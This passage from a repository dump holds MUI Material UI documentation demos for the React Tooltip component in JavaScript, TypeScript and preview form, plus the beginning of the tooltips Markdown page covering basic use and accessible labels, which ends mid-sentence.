    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function AnchorElTooltips() {\n  const positionRef = React.useRef({\n    x: 0,\n    y: 0,\n  });\n  const popperRef = React.useRef(null);\n  const areaRef = React.useRef(null);\n\n  const handleMouseMove = (event) => {\n    positionRef.current = { x: event.clientX, y: event.clientY };\n\n    if (popperRef.current != null) {\n      popperRef.current.update();\n    }\n  };\n\n  return (\n    <Tooltip\n      describeChild\n      title=\"Add\"\n      placement=\"top\"\n      arrow\n      slotProps={{\n        popper: {\n          popperRef,\n          anchorEl: {\n            getBoundingClientRect: () => {\n              return new DOMRect(\n                positionRef.current.x,\n                areaRef.current.getBoundingClientRect().y,\n                0,\n                0,\n              );\n            },\n          },\n        },\n      }}\n    >\n      <Box\n        ref={areaRef}\n        onMouseMove={handleMouseMove}\n        sx={{ bgcolor: 'primary.main', color: 'primary.contrastText', p: 2 }}\n      >\n        Hover\n      </Box>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/AnchorElTooltips.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tooltip from '@mui/material/Tooltip';\nimport { Instance } from '@popperjs/core';\n\nexport default function AnchorElTooltips() {\n  const positionRef = React.useRef<{ x: number; y: number }>({\n    x: 0,\n    y: 0,\n  });\n  const popperRef = React.useRef<Instance>(null);\n  const areaRef = React.useRef<HTMLDivElement>(null);\n\n  const handleMouseMove = (event: React.MouseEvent) => {\n    positionRef.current = { x: event.clientX, y: event.clientY };\n\n    if (popperRef.current != null) {\n      popperRef.current.update();\n    }\n  };\n\n  return (\n    <Tooltip\n      describeChild\n      title=\"Add\"\n      placement=\"top\"\n      arrow\n      slotProps={{\n        popper: {\n          popperRef,\n          anchorEl: {\n            getBoundingClientRect: () => {\n              return new DOMRect(\n                positionRef.current.x,\n                areaRef.current!.getBoundingClientRect().y,\n                0,\n                0,\n              );\n            },\n          },\n        },\n      }}\n    >\n      <Box\n        ref={areaRef}\n        onMouseMove={handleMouseMove}\n        sx={{ bgcolor: 'primary.main', color: 'primary.contrastText', p: 2 }}\n      >\n        Hover\n      </Box>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/ArrowTooltips.js",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function ArrowTooltips() {\n  return (\n    <Tooltip describeChild title=\"Add\" arrow>\n      <Button>Arrow</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/ArrowTooltips.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function ArrowTooltips() {\n  return (\n    <Tooltip describeChild title=\"Add\" arrow>\n      <Button>Arrow</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/ArrowTooltips.tsx.preview",
    "content": "<Tooltip describeChild title=\"Add\" arrow>\n  <Button>Arrow</Button>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/BasicTooltip.js",
    "content": "import DeleteIcon from '@mui/icons-material/Delete';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function BasicTooltip() {\n  return (\n    <Tooltip title=\"Delete\">\n      <IconButton>\n        <DeleteIcon />\n      </IconButton>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/BasicTooltip.tsx",
    "content": "import DeleteIcon from '@mui/icons-material/Delete';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function BasicTooltip() {\n  return (\n    <Tooltip title=\"Delete\">\n      <IconButton>\n        <DeleteIcon />\n      </IconButton>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/BasicTooltip.tsx.preview",
    "content": "<Tooltip title=\"Delete\">\n  <IconButton>\n    <DeleteIcon />\n  </IconButton>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/ControlledTooltips.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function ControlledTooltips() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <Tooltip\n      describeChild\n      open={open}\n      onClose={handleClose}\n      onOpen={handleOpen}\n      title=\"Add\"\n    >\n      <Button>Controlled</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/ControlledTooltips.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function ControlledTooltips() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <Tooltip\n      describeChild\n      open={open}\n      onClose={handleClose}\n      onOpen={handleOpen}\n      title=\"Add\"\n    >\n      <Button>Controlled</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/ControlledTooltips.tsx.preview",
    "content": "<Tooltip\n  describeChild\n  open={open}\n  onClose={handleClose}\n  onOpen={handleOpen}\n  title=\"Add\"\n>\n  <Button>Controlled</Button>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/CustomizedTooltips.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Tooltip, { tooltipClasses } from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\n\nconst LightTooltip = styled(({ className, ...props }) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))(({ theme }) => ({\n  [`& .${tooltipClasses.tooltip}`]: {\n    backgroundColor: theme.palette.common.white,\n    color: 'rgba(0, 0, 0, 0.87)',\n    boxShadow: theme.shadows[1],\n    fontSize: 11,\n  },\n}));\n\nconst BootstrapTooltip = styled(({ className, ...props }) => (\n  <Tooltip describeChild {...props} arrow classes={{ popper: className }} />\n))(({ theme }) => ({\n  [`& .${tooltipClasses.arrow}`]: {\n    color: theme.palette.common.black,\n  },\n  [`& .${tooltipClasses.tooltip}`]: {\n    backgroundColor: theme.palette.common.black,\n  },\n}));\n\nconst HtmlTooltip = styled(({ className, ...props }) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))(({ theme }) => ({\n  [`& .${tooltipClasses.tooltip}`]: {\n    backgroundColor: '#f5f5f9',\n    color: 'rgba(0, 0, 0, 0.87)',\n    maxWidth: 220,\n    fontSize: theme.typography.pxToRem(12),\n    border: '1px solid #dadde9',\n  },\n}));\n\nexport default function CustomizedTooltips() {\n  return (\n    <div>\n      <LightTooltip title=\"Add\">\n        <Button>Light</Button>\n      </LightTooltip>\n      <BootstrapTooltip title=\"Add\">\n        <Button>Bootstrap</Button>\n      </BootstrapTooltip>\n      <HtmlTooltip\n        title={\n          <React.Fragment>\n            <Typography\n              sx={{\n                color: 'inherit',\n              }}\n            >\n              Tooltip with HTML\n            </Typography>\n            <em>{\"And here's\"}</em> <b>{'some'}</b> <u>{'amazing content'}</u>.{' '}\n            {\"It's very engaging. Right?\"}\n          </React.Fragment>\n        }\n      >\n        <Button>HTML</Button>\n      </HtmlTooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/CustomizedTooltips.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Tooltip, { TooltipProps, tooltipClasses } from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\n\nconst LightTooltip = styled(({ className, ...props }: TooltipProps) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))(({ theme }) => ({\n  [`& .${tooltipClasses.tooltip}`]: {\n    backgroundColor: theme.palette.common.white,\n    color: 'rgba(0, 0, 0, 0.87)',\n    boxShadow: theme.shadows[1],\n    fontSize: 11,\n  },\n}));\n\nconst BootstrapTooltip = styled(({ className, ...props }: TooltipProps) => (\n  <Tooltip describeChild {...props} arrow classes={{ popper: className }} />\n))(({ theme }) => ({\n  [`& .${tooltipClasses.arrow}`]: {\n    color: theme.palette.common.black,\n  },\n  [`& .${tooltipClasses.tooltip}`]: {\n    backgroundColor: theme.palette.common.black,\n  },\n}));\n\nconst HtmlTooltip = styled(({ className, ...props }: TooltipProps) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))(({ theme }) => ({\n  [`& .${tooltipClasses.tooltip}`]: {\n    backgroundColor: '#f5f5f9',\n    color: 'rgba(0, 0, 0, 0.87)',\n    maxWidth: 220,\n    fontSize: theme.typography.pxToRem(12),\n    border: '1px solid #dadde9',\n  },\n}));\n\nexport default function CustomizedTooltips() {\n  return (\n    <div>\n      <LightTooltip title=\"Add\">\n        <Button>Light</Button>\n      </LightTooltip>\n      <BootstrapTooltip title=\"Add\">\n        <Button>Bootstrap</Button>\n      </BootstrapTooltip>\n      <HtmlTooltip\n        title={\n          <React.Fragment>\n            <Typography\n              sx={{\n                color: 'inherit',\n              }}\n            >\n              Tooltip with HTML\n            </Typography>\n            <em>{\"And here's\"}</em> <b>{'some'}</b> <u>{'amazing content'}</u>.{' '}\n            {\"It's very engaging. Right?\"}\n          </React.Fragment>\n        }\n      >\n        <Button>HTML</Button>\n      </HtmlTooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/DelayTooltips.js",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function DelayTooltips() {\n  return (\n    <Tooltip describeChild title=\"Add\" enterDelay={500} leaveDelay={200}>\n      <Button>[500ms, 200ms]</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/DelayTooltips.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function DelayTooltips() {\n  return (\n    <Tooltip describeChild title=\"Add\" enterDelay={500} leaveDelay={200}>\n      <Button>[500ms, 200ms]</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/DelayTooltips.tsx.preview",
    "content": "<Tooltip describeChild title=\"Add\" enterDelay={500} leaveDelay={200}>\n  <Button>[500ms, 200ms]</Button>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/DisabledTooltips.js",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function DisabledTooltips() {\n  return (\n    <Tooltip describeChild title=\"You don't have permission to do this\">\n      <span>\n        <Button disabled>A Disabled Button</Button>\n      </span>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/DisabledTooltips.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function DisabledTooltips() {\n  return (\n    <Tooltip describeChild title=\"You don't have permission to do this\">\n      <span>\n        <Button disabled>A Disabled Button</Button>\n      </span>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/DisabledTooltips.tsx.preview",
    "content": "<Tooltip describeChild title=\"You don't have permission to do this\">\n  <span>\n    <Button disabled>A Disabled Button</Button>\n  </span>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/FollowCursorTooltips.js",
    "content": "import Box from '@mui/material/Box';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function FollowCursorTooltips() {\n  return (\n    <Tooltip describeChild title=\"You don't have permission to do this\" followCursor>\n      <Box sx={{ bgcolor: 'text.disabled', color: 'background.paper', p: 2 }}>\n        Disabled Action\n      </Box>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/FollowCursorTooltips.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function FollowCursorTooltips() {\n  return (\n    <Tooltip describeChild title=\"You don't have permission to do this\" followCursor>\n      <Box sx={{ bgcolor: 'text.disabled', color: 'background.paper', p: 2 }}>\n        Disabled Action\n      </Box>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/FollowCursorTooltips.tsx.preview",
    "content": "<Tooltip describeChild title=\"You don't have permission to do this\" followCursor>\n  <Box sx={{ bgcolor: 'text.disabled', color: 'background.paper', p: 2 }}>\n    Disabled Action\n  </Box>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/NonInteractiveTooltips.js",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function NonInteractiveTooltips() {\n  return (\n    <Tooltip describeChild title=\"Add\" disableInteractive>\n      <Button>Not interactive</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/NonInteractiveTooltips.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function NonInteractiveTooltips() {\n  return (\n    <Tooltip describeChild title=\"Add\" disableInteractive>\n      <Button>Not interactive</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/NonInteractiveTooltips.tsx.preview",
    "content": "<Tooltip describeChild title=\"Add\" disableInteractive>\n  <Button>Not interactive</Button>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/PositionedTooltips.js",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function PositionedTooltips() {\n  return (\n    <Box sx={{ width: 500 }}>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Tooltip describeChild title=\"Add\" placement=\"top-start\">\n          <Button>top-start</Button>\n        </Tooltip>\n        <Tooltip describeChild title=\"Add\" placement=\"top\">\n          <Button>top</Button>\n        </Tooltip>\n        <Tooltip describeChild title=\"Add\" placement=\"top-end\">\n          <Button>top-end</Button>\n        </Tooltip>\n      </Stack>\n      <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-start' }}>\n          <Tooltip describeChild title=\"Add\" placement=\"left-start\">\n            <Button>left-start</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"left\">\n            <Button>left</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"left-end\">\n            <Button>left-end</Button>\n          </Tooltip>\n        </Stack>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-end' }}>\n          <Tooltip describeChild title=\"Add\" placement=\"right-start\">\n            <Button>right-start</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"right\">\n            <Button>right</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"right-end\">\n            <Button>right-end</Button>\n          </Tooltip>\n        </Stack>\n      </Box>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Tooltip title=\"Add\" placement=\"bottom-start\">\n          <Button>bottom-start</Button>\n        </Tooltip>\n        <Tooltip title=\"Add\" placement=\"bottom\">\n          <Button>bottom</Button>\n        </Tooltip>\n        <Tooltip title=\"Add\" placement=\"bottom-end\">\n          <Button>bottom-end</Button>\n        </Tooltip>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/PositionedTooltips.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function PositionedTooltips() {\n  return (\n    <Box sx={{ width: 500 }}>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Tooltip describeChild title=\"Add\" placement=\"top-start\">\n          <Button>top-start</Button>\n        </Tooltip>\n        <Tooltip describeChild title=\"Add\" placement=\"top\">\n          <Button>top</Button>\n        </Tooltip>\n        <Tooltip describeChild title=\"Add\" placement=\"top-end\">\n          <Button>top-end</Button>\n        </Tooltip>\n      </Stack>\n      <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-start' }}>\n          <Tooltip describeChild title=\"Add\" placement=\"left-start\">\n            <Button>left-start</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"left\">\n            <Button>left</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"left-end\">\n            <Button>left-end</Button>\n          </Tooltip>\n        </Stack>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-end' }}>\n          <Tooltip describeChild title=\"Add\" placement=\"right-start\">\n            <Button>right-start</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"right\">\n            <Button>right</Button>\n          </Tooltip>\n          <Tooltip describeChild title=\"Add\" placement=\"right-end\">\n            <Button>right-end</Button>\n          </Tooltip>\n        </Stack>\n      </Box>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Tooltip title=\"Add\" placement=\"bottom-start\">\n          <Button>bottom-start</Button>\n        </Tooltip>\n        <Tooltip title=\"Add\" placement=\"bottom\">\n          <Button>bottom</Button>\n        </Tooltip>\n        <Tooltip title=\"Add\" placement=\"bottom-end\">\n          <Button>bottom-end</Button>\n        </Tooltip>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TooltipMargin.js",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip, { tooltipClasses } from '@mui/material/Tooltip';\n\nexport default function TooltipMargin() {\n  return (\n    <Tooltip\n      title=\"Add\"\n      describeChild\n      slotProps={{\n        popper: {\n          sx: {\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"bottom\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginTop: '0px',\n              },\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"top\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginBottom: '0px',\n              },\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"right\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginLeft: '0px',\n              },\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"left\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginRight: '0px',\n              },\n          },\n        },\n      }}\n    >\n      <Button>Margin</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TooltipMargin.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip, { tooltipClasses } from '@mui/material/Tooltip';\n\nexport default function TooltipMargin() {\n  return (\n    <Tooltip\n      title=\"Add\"\n      describeChild\n      slotProps={{\n        popper: {\n          sx: {\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"bottom\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginTop: '0px',\n              },\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"top\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginBottom: '0px',\n              },\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"right\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginLeft: '0px',\n              },\n            [`&.${tooltipClasses.popper}[data-popper-placement*=\"left\"] .${tooltipClasses.tooltip}`]:\n              {\n                marginRight: '0px',\n              },\n          },\n        },\n      }}\n    >\n      <Button>Margin</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TooltipOffset.js",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function TooltipOffset() {\n  return (\n    <Tooltip\n      describeChild\n      title=\"Add\"\n      slotProps={{\n        popper: {\n          modifiers: [\n            {\n              name: 'offset',\n              options: {\n                offset: [0, -14],\n              },\n            },\n          ],\n        },\n      }}\n    >\n      <Button>Offset</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TooltipOffset.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function TooltipOffset() {\n  return (\n    <Tooltip\n      describeChild\n      title=\"Add\"\n      slotProps={{\n        popper: {\n          modifiers: [\n            {\n              name: 'offset',\n              options: {\n                offset: [0, -14],\n              },\n            },\n          ],\n        },\n      }}\n    >\n      <Button>Offset</Button>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TransitionsTooltips.js",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport Fade from '@mui/material/Fade';\nimport Zoom from '@mui/material/Zoom';\n\nexport default function TransitionsTooltips() {\n  return (\n    <div>\n      <Tooltip describeChild title=\"Add\">\n        <Button>Grow</Button>\n      </Tooltip>\n      <Tooltip\n        describeChild\n        title=\"Add\"\n        slots={{\n          transition: Fade,\n        }}\n        slotProps={{\n          transition: { timeout: 600 },\n        }}\n      >\n        <Button>Fade</Button>\n      </Tooltip>\n      <Tooltip\n        describeChild\n        title=\"Add\"\n        slots={{\n          transition: Zoom,\n        }}\n      >\n        <Button>Zoom</Button>\n      </Tooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TransitionsTooltips.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport Fade from '@mui/material/Fade';\nimport Zoom from '@mui/material/Zoom';\n\nexport default function TransitionsTooltips() {\n  return (\n    <div>\n      <Tooltip describeChild title=\"Add\">\n        <Button>Grow</Button>\n      </Tooltip>\n      <Tooltip\n        describeChild\n        title=\"Add\"\n        slots={{\n          transition: Fade,\n        }}\n        slotProps={{\n          transition: { timeout: 600 },\n        }}\n      >\n        <Button>Fade</Button>\n      </Tooltip>\n      <Tooltip\n        describeChild\n        title=\"Add\"\n        slots={{\n          transition: Zoom,\n        }}\n      >\n        <Button>Zoom</Button>\n      </Tooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TriggersTooltips.js",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\n\nexport default function TriggersTooltips() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleTooltipClose = () => {\n    setOpen(false);\n  };\n\n  const handleTooltipOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <div>\n      <Grid container sx={{ justifyContent: 'center' }}>\n        <Grid>\n          <Tooltip describeChild disableFocusListener title=\"Add\">\n            <Button>Hover or touch</Button>\n          </Tooltip>\n        </Grid>\n        <Grid>\n          <Tooltip describeChild disableHoverListener title=\"Add\">\n            <Button>Focus or touch</Button>\n          </Tooltip>\n        </Grid>\n        <Grid>\n          <Tooltip\n            describeChild\n            disableFocusListener\n            disableTouchListener\n            title=\"Add\"\n          >\n            <Button>Hover</Button>\n          </Tooltip>\n        </Grid>\n        <Grid>\n          <ClickAwayListener onClickAway={handleTooltipClose}>\n            <div>\n              <Tooltip\n                describeChild\n                onClose={handleTooltipClose}\n                open={open}\n                disableFocusListener\n                disableHoverListener\n                disableTouchListener\n                title=\"Add\"\n                slotProps={{\n                  popper: {\n                    disablePortal: true,\n                  },\n                }}\n              >\n                <Button onClick={handleTooltipOpen}>Click</Button>\n              </Tooltip>\n            </div>\n          </ClickAwayListener>\n        </Grid>\n      </Grid>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/TriggersTooltips.tsx",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport Tooltip from '@mui/material/Tooltip';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\n\nexport default function TriggersTooltips() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleTooltipClose = () => {\n    setOpen(false);\n  };\n\n  const handleTooltipOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <div>\n      <Grid container sx={{ justifyContent: 'center' }}>\n        <Grid>\n          <Tooltip describeChild disableFocusListener title=\"Add\">\n            <Button>Hover or touch</Button>\n          </Tooltip>\n        </Grid>\n        <Grid>\n          <Tooltip describeChild disableHoverListener title=\"Add\">\n            <Button>Focus or touch</Button>\n          </Tooltip>\n        </Grid>\n        <Grid>\n          <Tooltip\n            describeChild\n            disableFocusListener\n            disableTouchListener\n            title=\"Add\"\n          >\n            <Button>Hover</Button>\n          </Tooltip>\n        </Grid>\n        <Grid>\n          <ClickAwayListener onClickAway={handleTooltipClose}>\n            <div>\n              <Tooltip\n                describeChild\n                onClose={handleTooltipClose}\n                open={open}\n                disableFocusListener\n                disableHoverListener\n                disableTouchListener\n                title=\"Add\"\n                slotProps={{\n                  popper: {\n                    disablePortal: true,\n                  },\n                }}\n              >\n                <Button onClick={handleTooltipOpen}>Click</Button>\n              </Tooltip>\n            </div>\n          </ClickAwayListener>\n        </Grid>\n      </Grid>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/VariableWidth.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Tooltip, { tooltipClasses } from '@mui/material/Tooltip';\n\nconst CustomWidthTooltip = styled(({ className, ...props }) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))({\n  [`& .${tooltipClasses.tooltip}`]: {\n    maxWidth: 500,\n  },\n});\n\nconst NoMaxWidthTooltip = styled(({ className, ...props }) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))({\n  [`& .${tooltipClasses.tooltip}`]: {\n    maxWidth: 'none',\n  },\n});\n\nconst longText = `\nAliquam eget finibus ante, non facilisis lectus. Sed vitae dignissim est, vel aliquam tellus.\nPraesent non nunc mollis, fermentum neque at, semper arcu.\nNullam eget est sed sem iaculis gravida eget vitae justo.\n`;\n\nexport default function VariableWidth() {\n  return (\n    <div>\n      <Tooltip describeChild title={longText}>\n        <Button sx={{ m: 1 }}>Default Width [300px]</Button>\n      </Tooltip>\n      <CustomWidthTooltip title={longText}>\n        <Button sx={{ m: 1 }}>Custom Width [500px]</Button>\n      </CustomWidthTooltip>\n      <NoMaxWidthTooltip title={longText}>\n        <Button sx={{ m: 1 }}>No wrapping</Button>\n      </NoMaxWidthTooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/VariableWidth.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Tooltip, { TooltipProps, tooltipClasses } from '@mui/material/Tooltip';\n\nconst CustomWidthTooltip = styled(({ className, ...props }: TooltipProps) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))({\n  [`& .${tooltipClasses.tooltip}`]: {\n    maxWidth: 500,\n  },\n});\n\nconst NoMaxWidthTooltip = styled(({ className, ...props }: TooltipProps) => (\n  <Tooltip describeChild {...props} classes={{ popper: className }} />\n))({\n  [`& .${tooltipClasses.tooltip}`]: {\n    maxWidth: 'none',\n  },\n});\n\nconst longText = `\nAliquam eget finibus ante, non facilisis lectus. Sed vitae dignissim est, vel aliquam tellus.\nPraesent non nunc mollis, fermentum neque at, semper arcu.\nNullam eget est sed sem iaculis gravida eget vitae justo.\n`;\n\nexport default function VariableWidth() {\n  return (\n    <div>\n      <Tooltip describeChild title={longText}>\n        <Button sx={{ m: 1 }}>Default Width [300px]</Button>\n      </Tooltip>\n      <CustomWidthTooltip title={longText}>\n        <Button sx={{ m: 1 }}>Custom Width [500px]</Button>\n      </CustomWidthTooltip>\n      <NoMaxWidthTooltip title={longText}>\n        <Button sx={{ m: 1 }}>No wrapping</Button>\n      </NoMaxWidthTooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/VariableWidth.tsx.preview",
    "content": "<Tooltip describeChild title={longText}>\n  <Button sx={{ m: 1 }}>Default Width [300px]</Button>\n</Tooltip>\n<CustomWidthTooltip title={longText}>\n  <Button sx={{ m: 1 }}>Custom Width [500px]</Button>\n</CustomWidthTooltip>\n<NoMaxWidthTooltip title={longText}>\n  <Button sx={{ m: 1 }}>No wrapping</Button>\n</NoMaxWidthTooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/tooltips.md",
    "content": "---\nproductId: material-ui\ntitle: React Tooltip component\ncomponents: Tooltip\ngithubLabel: 'scope: tooltip'\nmaterialDesign: https://m2.material.io/components/tooltips\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/tooltip/\ngithubSource: packages/mui-material/src/Tooltip\n---\n\n# Tooltip\n\n<p class=\"description\">Tooltips display informative text when users hover over, focus on, or tap an element.</p>\n\nWhen activated, Tooltips display a text label identifying an element, such as a description of its function.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic tooltip\n\n{{\"demo\": \"BasicTooltip.js\"}}\n\n## Labels and descriptions\n\nBy default, the tooltip only labels its child element.\nThis is notably different from `title` which can either label or describe its child depending on whether the child already has a label.\nFor example, in the element below, the `title` acts as an accessible description:\n\n```html\n<button title=\"some more information\">A button</button>\n```\n\nIf you want the tooltip to act as an accessible description, you can pass the `describeChild` prop.\nYou shouldn't use `describeChild` if the tooltip provides the only visual label.\nIn that case, the child would have no accessible name and the tooltip would violate [success criterion 2.5.3 in WCAG 2.1](https://www.w3.org/WAI/WCAG21/Understanding/label-in-name.html).\nIf the trigger already has either visible text or an `aria-label`, use the tooltip as a description and pass the 